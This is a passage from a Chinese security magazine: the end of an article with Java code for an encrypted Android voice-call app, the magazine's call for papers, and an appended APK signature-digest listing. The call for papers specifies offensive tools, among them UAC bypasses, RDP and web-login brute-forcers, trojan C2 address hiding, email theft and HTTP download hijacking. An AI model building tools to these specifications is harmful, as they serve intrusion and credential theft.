  Key_Info key_Info = new Key_Info(); 

  byte[] head = newbyte[] { 0x03 }; 

  key_Info.setHead(head); 

  key_Info.setPartOfPassword(byase2); 

  Key_Thread.send(key_Info); 

 } 

 

 以上代码是发送接收方获取 AES过程。基本实现过程与获取发送邀请方 AES过程一致。 
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Android 远程监控技术 

 

public static void initAESKey() { 

  if(aesPassword1.length == 0 &&aesPassword2.length == 0) 

   return; 

  aes1  =  parseByte2HexStr(aesPassword1); 

  aes2 =  parseByte2HexStr(aesPassword2); 

  if(aes1.equals(aes2)){ 

   aesKey= parseHexStr2Byte(aes1); 

  } 

 } 

 

 以上代码是通信双方的密钥的比较过程。通信请求方将发送的密钥保存并设置为

aesPassword1,通信接收方将发送的密钥保存并设置为 aesPassword2，然后将两者通信密

钥从二进制转化为十六进制并进行比较，两者相同则设置为最终双方的通信密钥。 

 系统设计中的确定 AES 密钥过程是整个系统的核心部分，该部分包括开始密钥确定线

程、获取发送邀请方 AES、获取发送接收方 AES、比较两个 AES 并确定通信 AES 四个过程。

通信连接成功如图 3所示的语音通信界面。 

 
图 3 语音通信 

 

4.通信双方数据的加解密 

 

public static byte[] AESencrypt(byte[] byteContent) { 

   if(aesKey == null) 

    return null; 

   try {              
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Android 远程监控技术 

 

                 SecretKeySpec key = new SecretKeySpec(aesKey, "AES");   

                 Cipher cipher = Cipher.getInstance("AES"); 

                 cipher.init(Cipher.ENCRYPT_MODE, key); 

 byte[] result = cipher.doFinal(byteContent);  

 return result;  

         } catch (NoSuchAlgorithmException e) {   

                 e.printStackTrace();   

         } catch (NoSuchPaddingException e) {   

                 e.printStackTrace();   

         } catch (InvalidKeyException e) {   

                 e.printStackTrace();   

         } catch (IllegalBlockSizeException e) {   

                 e.printStackTrace();   

         } catch (BadPaddingException e) {   

                 e.printStackTrace();   

         }   

 return null;   

 }   

 

 以上代码是数据加密过程。首先创建密码器，接着以加密模式初始化，然后对将要发送

出去的语音数据流内容进行加密。 

 

publicstaticbyte[] AESdecrypt(byte[] content) { 

  if(aesKey == null) 

   return null; 

  try { 

byte[] enCodeFormat = aesKey; 

                    SecretKeySpec key = new SecretKeySpec(enCodeFormat, "AES");             

                    Cipher cipher = Cipher.getInstance("AES"); 

                    cipher.init(Cipher.DECRYPT_MODE, key); 

byte[] result = cipher.doFinal(content); 

return result;  

} catch (NoSuchAlgorithmException e) { 

                    e.printStackTrace(); 

            } catch (NoSuchPaddingException e) { 

                    e.printStackTrace(); 

            } catch (InvalidKeyException e) { 

                    e.printStackTrace(); 

            } catch (IllegalBlockSizeException e) { 

                    e.printStackTrace(); 

            } catch (BadPaddingException e) { 

                    e.printStackTrace(); 

            } 

return null; 
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Android 远程监控技术 

 

} 

 

 以上代码是数据的解密过程。首先创建密码器，接着以解密模式初始化，然后对接收到

的语音数据流内容进行解密。 

 通信双方的数据传输都需要加密过程，接收到的数据都需要解密过程。 

 

5．传输 

 class SendRunnable implements Runnable{ 

  public void run () {    

   try {    

    System.out.println("Voice : Start Send Thread !"); 

    Voice_Info voiceInfo = null; 

    datagramSocket = new DatagramSocket(Voice_Constant.SEND_PORT);

  

    while(runing) { 

     if (Voice_Buffer.SendBuffereIsEmpty()) { 

        Thread.sleep(50); 

        continue; 

     }    

     voiceInfo = Voice_Buffer.getSendInfo(); 

     if (voiceInfo == null) 

      continue; 

     inetAddress = InetAddress.getByName(voiceInfo.getIP()); 

     byte[] data = voiceInfo.getBytes(); 

     datagramPacket = new DatagramPacket(data, data.length,  

       inetAddress, Voice_Constant.RECEIVE_PORT); 

     if (datagramSocket != null) 

      datagramSocket.send(datagramPacket);  

    }  

   } catch (Exception e) { 

    e.printStackTrace(); 

   } finally { 

    if (datagramSocket != null) 

     datagramSocket.close(); 

    datagramSocket = null; 

    datagramPacket = null; 

    inetAddress = null; 

    System.out.println("Voice : Stop Send Thread !"); 

   } 

  } 

 } 

 

 语音的传输过程采用 UDP协议，保证双方能够快速传输数据。首先将要传输的数据（已

加密）保存到 Buffer，再取出 Buffer内的数据将其转化为二进制存储在二进制数组 data
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Android 远程监控技术 

 

里，以 data和一些参数实例化 datagramPacket，最后通过套接字发送 datagramPacket

以达到数据传输的效果。 

 通过以上的五个主要步骤，能够有效地保证通信双方语音的安全性。 

 本文所述系统综合运用密码学（加解密）、计算机（Android 平台开发）和网络通信（Wi-Fi

通信等）等理论与技术，设计并实现了一种在公开网络环境下的安全语音通信系统。该系统

在每次通话之前通信双方均需手动输入通信的 AES 密钥，并透明地比较通信双方所输 AES

密钥确定最终的通信密钥；密钥确定完成之后，系统自动、透明地利用确定的 AES 密钥对

用户语音信息进行实时加密保护，保证了用户通信过程的私密性。本文所述系统研发过程中，

充分考虑了研究热点和发展趋势，选取目前在国内外移动互联市场占有率最高的 Android 移

动智能终端为平台进行开发，并针对目前国家高度重视的保密问题展开研究，具有良好的应

用价值和市场前景。 

 

（完） 

HACKER DEFENCE◆52◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



2015 年第 1 期杂志特约选题征稿 
  

黑客防线于 2013 年推出新的约稿机制，每期均会推出编辑部特选的选题，涵盖信息安

全领域的各个方面。对这些选题有兴趣的读者与作者，可联系投稿信箱：675122680@qq.com、

hadefence@gmail.com，或者 QQ：675122680，确定有意的选题。按照要求如期完成稿件者，

稿酬按照最高标准发放！特别优秀的稿酬另议。2015 年第 2 期部分选题如下，完整的选题

内容请见每月发送的约稿邮件。 

 

1.绕过 Windows UAC 的权限限制 

 自本期始，黑客防线杂志长期征集有关绕过 Windows UAC 权限限制的文章（已知方法

除外）。 

 1）Windows UAC 高权限下，绕过 UAC 提示进入系统的方法； 

 2）Windows UAC 低权限下，进入系统后提高账户权限的方法。 

 

2.虚拟机穿透 

 主机安装有虚拟机，现已远程控制虚拟机，寻求如何利用虚拟机的弱点，穿透虚拟机，

进而控制本机的方法。 

 

3.同步下载邮件 

 假设本机当前系统已掌控，在用户登录 Web 邮箱时，能够自动后台同步下载邮件并保

存，包括收件箱、发件箱、已发送邮件、联系人等信息，优先实现 gmail、yahoo 信箱。 

 

4.Windows7 屏幕保护密码获取 

 非重启系统状态下，本机（非远程受控机）屏幕保护已启动，本地获取 Windows7 屏幕

保护密码的方法。 

 

5.暴力破解 3389 远程桌面密码 

要求： 

 1）针对 Windows 3389 远程桌面实现暴力破解密码； 

 2）读取指定的用户名和密码字典文件； 

 3）采用多线程； 

 4）所有函数都必须判断错误值； 

 5）使用 VC++2008 编译工具实现，控制台程序； 

 6）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 7）支持 Windows XP/2003/7/2008。 

 

6.WEB 服务器批量扫描破解 

 1）针对目标 IP 参数要求 

  10.10.0.0/16 

  10.10.3.0/24 

  10.10.1.0-10.255.255.255 

 2）针对目标 Web 服务器扫描要求 

  可以识别目标 Web 服务器上运行的 Web 服务器程序，比如 APACHE 或者 IIS 等，具
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体参考如下： 

  Tomcat Weblogic Jboss 

  Apache J0nAS WebSphere 

  Lotus Server IIS(Webdav) Axis2 

  Coldfusion Monkey HTTPD Nginx 

 3）针对目标 Web 服务器后台扫描 

  针对目标进行后台地址搜索。 

 4）针对目标 Web 后台密码破解 

  搜索到 Web 登录后台以后，尝试弱口令破解，可以指定字典。 

 

7.木马控制端 IP 地址隐藏 

要求： 

 1）在远程控制配置 server 时，一般情况下控制地址是写入被控端的，当木马样本被捕

获分析时，可以分析出控制地址。针对这个问题，研究控制端地址隐藏技术，即使木马样本

被捕获，也无法轻易发现木马的控制端真实地址。 

 2）使用 C 或 C++语言，VC6 或者 VC2008 编译工具实现。 

 

8.Web 后台弱口令暴力破解 

说明： 

 针对国际常用建站系统以及自编写的 WEB 后台无验证码登陆形式的后台弱口令帐密暴

力破解。 

要求： 

 1）能够自动或自定义抓取建站系统后台登陆验证脚本 URL，如 Word Press、Joomla、

Drupal、MetInfo 等常用建站系统； 

 2）根据抓取提交帐密的 URL，可自动或自定义选择提交方式，自动或自定义提交登陆

的参数，这里的自动指的是根据默认字典； 

 3）可自定义设置暴力破解速度，破解的时候需要显示进度条； 

 4）高级功能：默认字典跑不出来的后台，可根据设置相应的 GOOGLE、BING 等搜索引

擎关键字，智能抓取并分析是否是后台以及自动抓取登陆 URL 及其参数；默认字典跑不出

来的帐密可通过 GOOGLE、BING 等搜索引擎抓取目标相关的用户账户、邮箱账户，并以这些

账户简单构造爆破帐密，如用户为 admin，密码可自动填充为域名，用户为 abcd@abcd.com，

账户密码就可以设置为 abcd abcd 以及 abcd abcd123 或 abcd abcd123456 等简单帐密； 

 5）拓展：尽可能的多搜集国外常用建站系统后台来增强该软件查找并定位后台 URL 能

力；暴力破解要稳定，后台 URL 字典以及帐密字典可自定义设置等。 

 

9.编写端口扫描器 

要求： 

 1）扫描出目标机器开放的端口，支持 TCP Connect、SYN、UDP 扫描方式； 

 2）扫描方式采用多线程，并能设置线程数； 

 3）将功能编写成 DLL，导出功能函数； 

 4）代码写成 C++类，直接声明类，调用类成员函数就可以调用功能； 

 5）尽量多做出错异常处理，以防程序意外崩溃； 

 6）使用 VC++2008 编译工具编写； 

 7）支持系统 Windows XP/2003/2008/7。 
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10.Android WIFI Tether 数据转储劫持 

说明： 

 WIFI Tether（开源项目）可以在 ROOT 过的 Android 设备上共享移动网络（也就是我们

常说的 Wi-Fi 热点），请参照 WIFI Tether 实现一个程序，对流经本机的所有网络数据进行分

析存储。 

 

要求： 

 1）开启 WIFI 热点后，对流经本机的所有网络数据进行存储； 

 2）不同的网络协议存储为不同的文件，比如 HTTP 协议存储为 HTTP.DAT； 

 3）针对 HTTP 下载进行劫持，比如用户下载 www.xx.com/abc.zip，软件能拦截此地址并

替换 abc.zip 文件。 

 

11.突破 Windows7 UAC 

说明： 

 编写一个程序，绕过 Windows7 UAC 提示，启动另外一个程序，并使这个程序获取到管

理员权限。 

 

要求： 

 1）Windows UAC 安全设置为最高级别； 

 2）系统补丁打到最新； 

 3）支持 32 位和 64 位系统。 
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2015 年征稿启示 

 

   《黑客防线》作为一本技术月刊，已经 15 年了。这十多年以来基本上形成了一个网络安

全技术坎坷发展的主线，陪伴着无数热爱技术、钻研技术、热衷网络安全技术创新的同仁们

实现了诸多技术突破。再次感谢所有的读者和作者，希望这份技术杂志可以永远陪你一起走

下去。 

投稿栏目： 

首发漏洞  

    要求原创必须首发，杜绝一切二手资料。主要内容集中在各种 0Day 公布、讨论，欢迎

第一手溢出类文章，特别欢迎主流操作系统和网络设备的底层 0Day，稿费从优，可以洽谈

深度合作。有深度合作意向者，直接联系总编辑 binsun20000@hotmail.com。 

Android 技术研究 

    黑防重点栏目，对 android 系统的攻击、破解、控制等技术的研究。研究方向包括 android

源代码解析、android 虚拟机，重点欢迎针对 android 下杀毒软件机制和系统底层机理研究的

技术和成果。 

本月焦点  

    针对时下的热点网络安全技术问题展开讨论，或发表自己的技术观点、研究成果，或针

对某一技术事件做分析、评测。  

漏洞攻防  

    利用系统漏洞、网络协议漏洞进行的渗透、入侵、反渗透，反入侵，包括比较流行的第

三方软件和网络设备 0Day 的触发机理，对于国际国内发布的 poc 进行分析研究，编写并提

供优化的 exploit 的思路和过程；同时可针对最新爆发的漏洞进行底层触发、shellcode 分析

以及对各种平台的安全机制的研究。  

脚本攻防  

    利用脚本系统漏洞进行的注入、提权、渗透；国内外使用率高的脚本系统的 0Day 以及

相关防护代码。重点欢迎利用脚本语言缺陷和数据库漏洞配合的注入以及补丁建议；重点欢

迎 PHP 、JSP 以及 html 边界注入的研究和代码实现。  

工具与免杀 

    巧妙的免杀技术讨论；针对最新 Anti 杀毒软件、HIPS 等安全防护软件技术的讨论。特

别欢迎突破安全防护软件主动防御的技术讨论，以及针对主流杀毒软件文件监控和扫描技术

的新型思路对抗,并且欢迎在源代码基础上免杀和专杀的技术论证! 最新工具，包括安全工

具和黑客工具的新技术分析，以及新的使用技巧的实力讲解。  

渗透与提权  

    黑防重点栏目。欢迎非 windows 系统、非 SQL 数据库以外的主流操作系统地渗透、提

权技术讨论，特别欢迎内网渗透、摆渡、提权的技术突破。一切独特的渗透、提权实际例子

均在此栏目发表，杜绝任何无亮点技术文章！  

溢出研究  

    对各种系统包括应用软件漏洞的详细分析，以及底层触发、shellcode 编写、漏洞模式等。  

外文精粹  

    选取国外优秀的网络安全技术文章，进行翻译、讨论。  

 

网络安全顾问  
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 我们关注局域网和广域网整体网络防/杀病毒、防渗透体系的建立；ARP 系统的整体防

护；较有效的不损失网络资源的防范 DDos 攻击技术等相关方面的技术文章。  

搜索引擎优化  

    主要针对特定关键词在各搜索引擎的综合排名、针对主流搜索引擎的多关键词排名的优

化技术。  

密界寻踪  

    关于算法、完全破解、硬件级加解密的技术讨论和病毒分析、虚拟机设计、外壳开发、

调试及逆向分析技术的深入研究。  

编程解析  

    各种安全软件和黑客软件的编程技术探讨；底层驱动、网络协议、进程的加载与控制技

术探讨和 virus 高级应用技术编写；以及漏洞利用的关键代码解析和测试。重点欢迎

C/C++/ASM 自主开发独特工具的开源讨论。 

投稿格式要求：  

    1）技术分析来稿一律使用 Word 编排，将图片插入文章中适当的位置，并明确标注“图

1”、“图 2”；  

    2）在稿件末尾请注明您的账户名、银行账号、以及开户地，包括你的真实姓名、准确

的邮寄地址和邮编、、QQ 或者 MSN、邮箱、常用的笔名等，方便我们发放稿费。  

    3）投稿方式和和周期：  

 采用 E-Mail 方式投稿，投稿 mail：hadefence@gmail.com、QQ：675122680。投稿后，

稿件录用情况将于 1～3 个工作日内回复，请作者留意查看。每月 10 日前投稿将有机会发表

在下月杂志上，10 日后将放到下下月杂志，请作者朋友注意，确认在下一期也没使用者，

可以另投他处。限于人力，未采用的恕不退稿 ，请自留底稿。  

 重点提示：严禁一稿两投。无论什么原因，如果出现重稿——与别的杂志重复——与别

的网站重复，将会扣发稿费，从此不再录用该作者稿件。  

    4）稿费发放周期：  

 稿费当月发放（最迟不超过 2 月），稿费从优。欢迎更多的专业技术人员加入到这个行

列。 

    5）根据稿件质量，分为一等、二等、三等稿件，稿费标准如下： 

 一等稿件 900 元/篇 

 二等稿件 600 元/篇 

 三等稿件 300 元/篇 

    6）稿费发放办法：  

 银行卡发放，支持境内各大银行借记卡，不支持信用卡。 

    7）投稿信箱及编辑联系 

 投稿信箱：675122680@qq.com、hadefence@gmail.com 

 编辑 QQ：675122680 
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Name: res/drawable-ldpi/ofm_blacklist_icon.png

SHA1-Digest: 1Uc/ENLD9QVd1MTfw/fEakNafr0=



Name: res/drawable-hdpi/ofm_setting_icon.png

SHA1-Digest: dPqBR/M91NSiSrKPRzD8lZjpaAw=



Name: res/drawable-hdpi/icon.png

SHA1-Digest: 1TFO4a3en3E4snPOXwvCn+ve0qg=



Name: res/drawable-mdpi/headshow2.png

SHA1-Digest: tXQ6a/cuFuvWf4Hc9mORPUGUBvw=



Name: res/drawable-mdpi/voip_camerachat.png

SHA1-Digest: jDDMuvTrB2tp4a3K+zFNODHc/y4=



Name: res/drawable-mdpi/abc_ab_bottom_solid_dark_holo.9.png

SHA1-Digest: cLS2FCoJG9FXWLrDfRPFRX/xznk=



Name: res/drawable-hdpi/delete.png

SHA1-Digest: eBSMphPdtV0NbbMjEl68UFIwfHA=



Name: res/layout/becalled.xml

SHA1-Digest: bl7TxF3E0bUwRzV1QQzVFGoTAZ0=



Name: res/drawable-hdpi/w05.jpg

SHA1-Digest: nQuHSXEO2Iu/KSojROd2XjVFItU=



Name: res/drawable-mdpi/page_now.png

SHA1-Digest: f65dCw40Y2pIa1mZiTvZH8e0enk=



Name: res/drawable-mdpi/searadd_icon.png

SHA1-Digest: OpkG4Dv9HEypHqI+CZygU4eZhPY=



Name: res/drawable-ldpi/init_button_down.png

SHA1-Digest: cDIIMueq4y/97GLIQBcjUNw5acU=



Name: res/drawable-hdpi/unknow_user.png

SHA1-Digest: 1qhv/UMda8bA/2YDfUWfBWD3R/8=



Name: res/drawable-ldpi/talk_background.png

SHA1-Digest: 7nF+caN0uZl9EULDxf1aksvUAIo=



Name: res/drawable-hdpi/find_more_friend_scan.png

SHA1-Digest: HpKsN7bw1T3VdnHkKsIBxe+mNR4=



Name: res/drawable-ldpi/icon1.png

SHA1-Digest: 7IPjl0xBZOQakZw5lMY3ktmotQ8=



Name: res/layout/friendlist.xml

SHA1-Digest: 4jnhyqDJ3Gwd5OdCUUy+60vI88A=



Name: res/drawable-ldpi/go_back.png

SHA1-Digest: uWClFX4V+8mUNesRQODW0T2AmfQ=



Name: res/drawable-mdpi/actionbar_search_icon.png

SHA1-Digest: sVH0Y6qUoFkKhA7RzgXtS6G5oGA=



Name: res/drawable-hdpi/find_more_friend_photograph_icon.png

SHA1-Digest: 3Y7FTHSne+psanVGW0rTB7QYk7A=



Name: res/drawable-hdpi/btn_style_one_normal.9.png

SHA1-Digest: t2L8dhpT6laX1PJ5JWzkHdBtUms=



Name: res/drawable-ldpi/addrequest_background.png

SHA1-Digest: kszta4GBtuEZqvg4kSs/8wtd0rA=



Name: res/drawable-ldpi/talk_button.png

SHA1-Digest: xFxk2xxI84G4dFpXJ+FiLU+Gvq4=



Name: res/layout/friendlist_item.xml

SHA1-Digest: nmiK100FsaxpF6h2EbNNaWZQH9s=



Name: res/anim/fade_out.xml

SHA1-Digest: fMf43uYfR+VSbngD9ZMc6nfLAc4=



Name: res/drawable-hdpi/abc_ab_share_pack_holo_dark.9.png

SHA1-Digest: vbWqIHZogWYg5NGOzMVEVEwIH7s=



Name: res/drawable-ldpi/init_button.png

SHA1-Digest: iyAhiidmYMaGcTjzhEy1Zra3Gvw=



Name: res/drawable-mdpi/ofm_add_icon.png

SHA1-Digest: yV4d1Bf97StjGScFZzEY+Vw0no0=



Name: res/drawable-hdpi/ic_action_search.png

SHA1-Digest: rOWnNxWCWKwkicf+FpYGMg1fX2Y=



Name: res/drawable-ldpi/message_button.png

SHA1-Digest: JQTOi+i1J73q0I+1mLQxeOfIZ6g=



Name: res/drawable-ldpi/video_quiet_button_checked.png

SHA1-Digest: +XzBnFxy3Nf5ufLEuXmsqdEoD/U=



Name: res/drawable-hdpi/btn_style_two_focused.9.png

SHA1-Digest: WPkCtW++6NLCAXxiFF8V3thq5DA=



Name: res/layout/load.xml

SHA1-Digest: SCpZTWGhtLjuSR036IYFbOV7bbQ=



Name: res/drawable-ldpi/delete_button.png

SHA1-Digest: UIb3qkPAGgXwur4HwZsbv8JfeEM=



Name: res/drawable-ldpi/ofm_photo_icon.png

SHA1-Digest: X0+jOdY4URuGsidVRa+Tv7ETpS8=



Name: res/drawable-hdpi/ic_launcher.png

SHA1-Digest: ioH2V9g4FYKkqpDHk7jPryMKtcE=



Name: res/drawable-hdpi/w02.jpg

SHA1-Digest: 14umn0xVClGq9Fln1lUso4Zxru8=



Name: res/drawable-hdpi/copyright.png

SHA1-Digest: RD1oZTa48nWpqSacppoUG6N0s0s=



Name: res/drawable-hdpi/main_screen_bg.jpg

SHA1-Digest: 8udEY72yndFybXiIe5oC3TUT5p4=



Name: resources.arsc

SHA1-Digest: 2pv2/OlZazV5jJbNATolZ69QgOo=



Name: res/layout/cs_activity.xml

SHA1-Digest: p22xOT2gxWU43544gpT3GFw0Z08=



Name: res/drawable-hdpi/w03.jpg

SHA1-Digest: EOZqMKEd6Hetn1hwBKHD92pP5aU=



Name: res/drawable-hdpi/call.png

SHA1-Digest: 3AULB9PKLdsJyxhe79RVfZuPdoY=



Name: res/drawable-mdpi/page.png

SHA1-Digest: y//gxYoAcAgnul2N0B0bcccI/xI=



Name: AndroidManifest.xml

SHA1-Digest: BQstjI0ejLqENdTv2wvJclYx3rQ=



Name: res/drawable-hdpi/btn_style_one_focused.9.png

SHA1-Digest: OnZzatKUQUCWonWlaG1oiSLAU8U=



Name: res/drawable-hdpi/login_error_icon.png

SHA1-Digest: Xa49j1Ou3l5bVtP53q4lHhnFL5s=



Name: res/layout/logo_activity.xml

SHA1-Digest: eX+0WgwMbKPgceE1XSFJOxKBZXs=



Name: res/drawable-hdpi/login_edit_normal.9.png

SHA1-Digest: tpRZJAW1LvwsvjhJ5Lbgg21rkss=



Name: res/drawable-ldpi/ofm_profile_icon.png

SHA1-Digest: 7YVKXeZWBy5apSEfMEO92dapPWQ=



Name: res/drawable-hdpi/msg.png

SHA1-Digest: ROm6AAFWWO4pHYOWzni+1hPsg+0=



Name: res/drawable-hdpi/w04.jpg

SHA1-Digest: jK6TofR3QWa2PZO83GSbl7CqEf4=



Name: res/layout/bottomdialog.xml

SHA1-Digest: /xBBpYA5KwJs3eF8rJNOryNNxa0=



Name: res/drawable-ldpi/changemode_button_dischecked.png

SHA1-Digest: yh0vCACEI5lJlS9dvaVgZfnD4PY=



Name: res/drawable-ldpi/add_user_button.png

SHA1-Digest: veaqpjrTa27AJCfkQtF4AB8IGO0=



Name: res/drawable-ldpi/add_user_button_down.png

SHA1-Digest: DzaxxKQTcnIO4EndESw3Zy9phwk=



Name: res/drawable-hdpi/team_logo.png

SHA1-Digest: Lpnsy2Dzkdqlkqou7i50+Y2Y5Kc=



Name: res/drawable-hdpi/back_button_down.png

SHA1-Digest: +iGfagARcwKBytn7JCni0BPhfgA=



Name: res/drawable-ldpi/phone_accept_button.png

SHA1-Digest: Cr6nsdoPbLhOw0Fm/dzCbDdLuwI=



Name: classes.dex

SHA1-Digest: VbPtBgzYrsb1jb0p1aFhyXgJXts=



Name: res/layout/tongxunlu.xml

SHA1-Digest: sUSs4/7uyPdH0m6IA95tGlLvWio=



Name: res/drawable-hdpi/login_edit_pressed.9.png

SHA1-Digest: WOufl7lLlYFsVBJkkl2iDSZOTug=



Name: res/drawable-hdpi/loading_bg.9.png

SHA1-Digest: 3iGNnw0UIsGj+x+1xwjsxTybl+4=



Name: res/drawable-mdpi/reader_item_divider.png

SHA1-Digest: Uuf2OHxOaVHOqbTbrDrjxol9zio=



Name: res/drawable-hdpi/ico.png

SHA1-Digest: 4ggXi/IxsjX/8bWd4a3lsJCox+0=



Name: res/drawable-hdpi/ofm_collect_icon.png

SHA1-Digest: vfVkWrH579EA2ZDsCCS5BW6hhgY=



Name: res/drawable-hdpi/title_bar.9.png

SHA1-Digest: 248kEIjql1igMg5pmFfZLhEOUfg=



Name: res/drawable-xhdpi/ic_launcher.png

SHA1-Digest: TJE1tg63y88xLdIALKGpuLmgh0s=



Name: res/drawable-ldpi/cancel_button.png

SHA1-Digest: 8xbQhtS3n0mpmgHjben7X/K0J1E=



Name: res/drawable-mdpi/ic_action_search.png

SHA1-Digest: XjltJdEB3tvakTn9CN7KwdaNT68=



Name: res/drawable-hdpi/abc_cab_background_top_holo_light.9.png

SHA1-Digest: 49UGaCleY6DzwqgTga8B+AMa7mU=



Name: res/layout/whatsnew_viewpager.xml

SHA1-Digest: 5bmz2OV7wE6Frnt6EODj6SPq/Jk=



Name: res/drawable-hdpi/tianjia.png

SHA1-Digest: MvM38zjK7oE0Fkd79D4B/qEstPk=



Name: res/layout/whats1.xml

SHA1-Digest: n2jG7rJoPp+hHz180d0LPt+a6yY=



Name: res/drawable-ldpi/interphone_button_dischecked.png

SHA1-Digest: jfZE41RK/CPeXvprxcbPbcPLw8A=



Name: res/drawable-ldpi/handoff_button_down.png

SHA1-Digest: Mzo7yvDFxffBtaQc5YGTSs28IaE=



Name: res/drawable-mdpi/xiaohei.png

SHA1-Digest: 7PGLRc+WIzdnets0gxjC/LxSNKo=



Name: res/drawable-hdpi/btn_style_two_pressed.9.png

SHA1-Digest: 6IfVKEfdQ+6dkZQVCwLXvh35mQU=



Name: res/layout/init.xml

SHA1-Digest: Al6l41quWLP2tr+RO/JZLO4gVro=



Name: res/drawable-mdpi/headshow5.png

SHA1-Digest: pbl1oUm/YDd+oiHhUQGkcgj9WCs=



Name: res/drawable-hdpi/mm_title_back_normal.9.png

SHA1-Digest: NXAAyzqv9X9EkQkzQAbGCRhPvwY=



Name: res/drawable-ldpi/quiet_button_dischecked.png

SHA1-Digest: eAh006iCiUXUh1Y3XAbwK0wSKBQ=



Name: res/drawable-ldpi/delete_button_down.png

SHA1-Digest: d9A/BXE27E53d0agKjBo2bKQPlE=



Name: res/layout/loading.xml

SHA1-Digest: of1+uCDEu0Iz393g+ZTWEwpgM8Y=



Name: res/layout/main.xml

SHA1-Digest: DF5D1dxvQM4RvmTRNwya8AfP/6o=



Name: res/drawable-hdpi/hdu_logo.png

SHA1-Digest: gcNEbhvEO3tq7ZCTCIqSYH7VATI=



Name: res/drawable-ldpi/video_encrypt_button_checked.png

SHA1-Digest: 5JxzaePlsaPE8wPF699lJ7Wnqs4=



Name: res/layout/whats3.xml

SHA1-Digest: uzuYKGho3zPCsigWAw1dckr+bhY=



Name: res/drawable-hdpi/weatherbg.png

SHA1-Digest: 30iR3rta5LAf4O0tc+uZRjmxtGA=



Name: res/drawable-ldpi/add_reject_button.png

SHA1-Digest: rFlbjoIEMj3NeI4fVZWop1LFP88=



Name: res/drawable-hdpi/welcome.png

SHA1-Digest: 7GZk3RncWQxbdPT++z1s2keEY18=



Name: res/drawable/guide_round.xml

SHA1-Digest: /Kv4m20ZgrAGrAlwIcQmryLbgj4=



Name: res/drawable-mdpi/personactivity_cover_heart.png

SHA1-Digest: Dgf7AhvE2uj8M+ne2ttHYjdyZjs=



Name: res/layout/whats2.xml

SHA1-Digest: xjnHfrbw5pY8pcKxbwA/IzXIyZA=



Name: res/drawable-mdpi/headshow1.png

SHA1-Digest: VqNHPhrDHvkEIgKF8nk7xxbKmlY=



Name: res/anim/alpha_out_anim.xml

SHA1-Digest: xV7rNgt4ZR5KgpGGeVnyhnIUyC4=



Name: res/anim/hold.xml

SHA1-Digest: P0rPvMSmFYEwr0K3mhxNSJTid+Q=



Name: res/drawable-ldpi/load_button.png

SHA1-Digest: F/OulxGHMjeZNtmxoMMBMHDV9tQ=



Name: res/drawable-mdpi/brand_default_head.png

SHA1-Digest: 6q3LO8Xj5ToaGv+qIDY64IzYPjE=



Name: res/layout/video_activity.xml

SHA1-Digest: pkCbSexoQ7465TUKR4Btyc5W39U=



Name: res/layout/welcome.xml

SHA1-Digest: 841uvWxZGPuQ6KWz0pZchRQ/Xq0=



Name: res/drawable-hdpi/btn_style_zero_normal.9.png

SHA1-Digest: ZisMrTNlwTJLAxiChAO+MIawxEY=



Name: res/layout/faxian.xml

SHA1-Digest: ozEfRQpC19yAV847RCpWco/A5s4=



Name: res/drawable-ldpi/voice_button_down.png

SHA1-Digest: h4U73Pq8IQwOR6USyMDPJOmXyrY=



Name: res/drawable-ldpi/icon2.png

SHA1-Digest: Cz5KRWb5OR0Cd/oGnOAocl8Dzyk=



Name: res/drawable-ldpi/phone_reject_button_down.png

SHA1-Digest: kTEPSkVmauaynryfF2INU5AfGzk=



Name: res/drawable-mdpi/ic_launcher.png

SHA1-Digest: aM73uFWfPOOvq5Kk9Ffd3cWm0OQ=



Name: res/layout/whats6.xml

SHA1-Digest: 4Ve/VJordTjRwgdlbqQR+7rd2a0=



Name: res/drawable-ldpi/video_quiet_button_dischecked.png

SHA1-Digest: t9hodPybWayiZVOr3T8vrfovEMI=



Name: res/layout/aesput.xml

SHA1-Digest: Ebn8xRO5jO4r55UywHAo5Yee5nI=



Name: res/drawable-hdpi/more_game.png

SHA1-Digest: zsn2IbCAmRo/bkeJ05Htf09PTVE=



Name: res/drawable-ldpi/voicebac.png

SHA1-Digest: 6o9Xp1eX3bmwt0BPZn0Vz8PPMK0=



Name: res/anim/fade_in.xml

SHA1-Digest: xC8bRUjkd+gizmNgNbM48ZVTZOg=
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Signature-Version: 1.0

Created-By: 1.0 (Android)

SHA1-Digest-Manifest: WVf7v2wQo67VkVQTqEbtSVmUlpY=



Name: res/layout/addxml.xml

SHA1-Digest: FoBoYvobU/ItbimivPndcYzpuzI=



Name: res/drawable-hdpi/quiet_button_disenable.png

SHA1-Digest: I52hSZejExKh8nRj+cWmmWDEtkE=



Name: res/drawable-ldpi/video_button.png

SHA1-Digest: yUALD5zIoG1f+yYkEKGP/2E/AgA=



Name: res/drawable-hdpi/btn_style_two_normal.9.png

SHA1-Digest: oRQ6x8JRnozHiJPoDIvt8loa1S8=



Name: res/drawable-hdpi/find_more_friend_near_icon.png

SHA1-Digest: bjiEfLes2Gheo5uIYD7CE4X9gA0=



Name: res/drawable-ldpi/ofm_qrcode_icon.png

SHA1-Digest: mZVTSzooqajHkgPZUotpV6JdEVY=



Name: res/drawable-hdpi/voicebc.png

SHA1-Digest: x/hL/OABTH59EAwrPYLCExbYtJs=



Name: res/drawable-mdpi/shexiangtou.png

SHA1-Digest: 7GlWCvZw8E951kKLhQnM3hHTSJY=



Name: res/drawable-ldpi/add_reject_button_down.png

SHA1-Digest: FtbblcpLnSTbFP28pf5NPhYelH8=



Name: res/layout/jiemian.xml

SHA1-Digest: RNg49zEbpTgBxo0Izc+C2C3WuT8=



Name: res/drawable-ldpi/video_button_down.png

SHA1-Digest: VdRfP9LuE0G/dSHo4vqrQwIt6Yo=



Name: res/drawable-hdpi/more_emoji_store.png

SHA1-Digest: vyiAzQsx8y671lcHDEGdR792boY=



Name: res/drawable-mdpi/bind_qq_icon.png

SHA1-Digest: /u/KJqLNryhuUY85DjzT7sbA3uo=



Name: res/drawable-xxhdpi/ic_launcher.png

SHA1-Digest: KKqaLh/DVvFp+v1KoaDw7xETvrI=



Name: res/drawable-mdpi/actionbar_add_icon.png

SHA1-Digest: nA28ITN0+s3IUYw9+/Y1TCXx8ew=



Name: res/layout/login.xml

SHA1-Digest: ct48tfXobAS/cg4JPJdEE1nNdTs=



Name: res/drawable-mdpi/actionbar_more_icon.png

SHA1-Digest: aWEZGYzTtfP39BjNAa/xUIY5RJo=



Name: res/drawable-ldpi/interphone_button_checked.png

SHA1-Digest: RsWdnuzO4H7mpqBAOmzgL4y1yys=



